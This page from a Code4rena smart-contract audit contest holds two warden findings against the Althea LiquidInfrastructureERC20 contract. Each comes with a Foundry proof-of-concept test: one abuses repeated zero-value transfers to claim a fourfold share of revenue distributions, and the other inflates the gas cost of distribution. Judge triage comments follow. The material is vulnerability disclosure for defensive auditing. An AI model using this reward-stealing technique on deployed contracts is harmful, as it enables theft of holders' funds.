Platform: Code4rena
Start Date: 13/02/2024
Pot Size: $24,500 USDC
Total HM: 5
Participants: 84
Period: 6 days
Judge: 0xA5DF
Id: 331
League: ETH
Rank: 66/84
Findings: 1
Award: $7.18
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L214-L227
USERS FUNDS COULD BE STOLEN
SETUP contract LiquidInfrastructureTest is Test { address protocolOwner = makeAddr("protocolOwner"); address nftOwner = makeAddr("nft owner"); address tokenHolder = makeAddr("token holder"); address alice = makeAddr("alice"); address bob = makeAddr("bob"); address charlie = makeAddr("charlie"); address synthia = makeAddr("synthia"); address maia = makeAddr("maia"); address tester = makeAddr("tester"); address chucky = makeAddr("chucks"); address mikel = makeAddr("mikey"); address sombra = makeAddr("somebrah"); LiquidInfrastructureERC20 liquidInfrastructureERC20; LiquidInfrastructureNFT liquidInfrastructureNFT; LiquidInfrastructureNFT liquidInfrastructureNFT2; TestERC20A testERC20A; TestERC20B testERC20B; TestERC20C testERC20C; TestERC721A testERC721A; address[] managedNFTS; address[] ercArgs; address[] holders; address[] ercs; mapping(uint => address) id_args; uint256[] vals; function setUp() public { testERC20A = new TestERC20A(); testERC20B = new TestERC20B(); testERC20C = new TestERC20C(); testERC721A = new TestERC721A(); id_args[0] = address(testERC20A); id_args[1] = address(testERC20B); id_args[2] = address(testERC20C); vm.prank(nftOwner); liquidInfrastructureNFT = new LiquidInfrastructureNFT("nft owner"); liquidInfrastructureNFT2 = new LiquidInfrastructureNFT("nft owner"); // console.log("reached"); managedNFTS.push(address(liquidInfrastructureNFT)); managedNFTS.push(address(liquidInfrastructureNFT2)); holders.push(alice); holders.push(bob); holders.push(charlie); holders.push(synthia); holders.push(maia); ercs.push(address(testERC20A)); ercs.push(address(testERC20B)); ercs.push(address(testERC20C)); // console.log("again"); vm.prank(protocolOwner); liquidInfrastructureERC20 = new LiquidInfrastructureERC20( "hel", "lo", managedNFTS, holders, 10, ercs ); for (uint256 i = 0; i < holders.length; i++) { vm.prank(protocolOwner); liquidInfrastructureERC20.mint(holders[i], 10e18); // console.log((liquidInfrastructureERC20.getHolders()).length); } // console.log("passed"); testERC20A.transfer( address(liquidInfrastructureERC20), 1000 * 10 ** testERC20A.decimals() ); testERC20B.transfer( address(liquidInfrastructureERC20), 1000 * 10 ** testERC20B.decimals() ); testERC20C.transfer( address(liquidInfrastructureERC20), 1000 * 10 ** testERC20C.decimals() ); } } function approveHolder() internal { vm.startPrank(protocolOwner); try liquidInfrastructureERC20.approveHolder(tester) {} catch { console.log("holder already approved"); } vm.stopPrank(); } function transfer(address from, address to, uint amount) internal { vm.startPrank(from); liquidInfrastructureERC20.transfer(to, amount); vm.stopPrank(); } function distribute(uint num) internal { liquidInfrastructureERC20.distribute(num); } function test_can_steal_funds() public { approveHolder(); transfer(bob, tester, 0); transfer(bob, tester, 0); transfer(bob, tester, 0); transfer(bob, tester, 10e18); vm.startPrank(protocolOwner); liquidInfrastructureERC20.approveHolder(chucky); liquidInfrastructureERC20.approveHolder(sombra); liquidInfrastructureERC20.approveHolder(mikel); liquidInfrastructureERC20.mint(chucky, 10e18); liquidInfrastructureERC20.mint(sombra, 10e18); liquidInfrastructureERC20.mint(mikel, 10e18); liquidInfrastructureERC20.mint(bob, 10e18); vm.stopPrank(); vm.roll((vm.getBlockNumber() + 20)); vm.prank(tester); distribute(9); console.log("alice", testERC20A.balanceOf(alice)); console.log("bob", testERC20A.balanceOf(bob)); console.log("malicious actor", testERC20A.balanceOf(tester)); } The malicious actor(tester) added themselves to the holders list 4 times prior to when the total supply was increased by minting tokens to other users, hence the malicious actors can call distribute for only as many distributions that benefit them and steal others funds Here are the results when the function is run [PASS] test_can_steal_funds() (gas: 1005530) Logs: alice 110000000000000000000 bob 0 malicious actor 440000000000000000000 Despite both alice and the malicious actor having the same amount of tokens(ie 10e18). the malicious actor got four times the reward
foundry manual analysis
The issue could be avoided by disallowing dust transfer amounts
Invalid Validation
#0 - c4-pre-sort
2024-02-20T06:26:53Z
0xRobocop marked the issue as duplicate of #392
#1 - c4-judge
2024-03-04T17:35:09Z
0xA5DF marked the issue as duplicate of #77
#2 - c4-judge
2024-03-04T17:35:31Z
0xA5DF marked the issue as satisfactory
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L214-L227
It could become really expensive to distribute revenue
function distributeAll() public { uint start = gasleft(); liquidInfrastructureERC20.distributeToAllHolders(); console.log(start - gasleft()); }
function test_increase_in_gas_with_gas_dos(uint stop) public { approveHolder(); for (uint i = 0; i < stop; i++) { transfer(bob, tester, 0); } vm.roll((vm.getBlockNumber() + 20)); distributeAll(); } } when test_increase_in_gas_with_gas_dos is called without the loop running the recorded gas used was 422855 when stop was set to 5 it was 532748 and 647151 when stop was icreased to 10, this represents an increase of about 20,000 per zero transfer
foundry manual review
dust transfers should be disallowed
Loop
#0 - 0xRobocop
2024-02-20T06:26:35Z
Aggregating all pretty low quality warden's submissions.
#1 - c4-pre-sort
2024-02-20T06:26:38Z
0xRobocop marked the issue as insufficient quality report
#2 - c4-pre-sort
2024-02-20T06:26:41Z
0xRobocop marked the issue as primary issue
#3 - c4-judge
2024-03-04T17:35:10Z
0xA5DF marked the issue as duplicate of #77
#4 - c4-judge
2024-03-04T17:35:33Z
0xA5DF marked the issue as satisfactory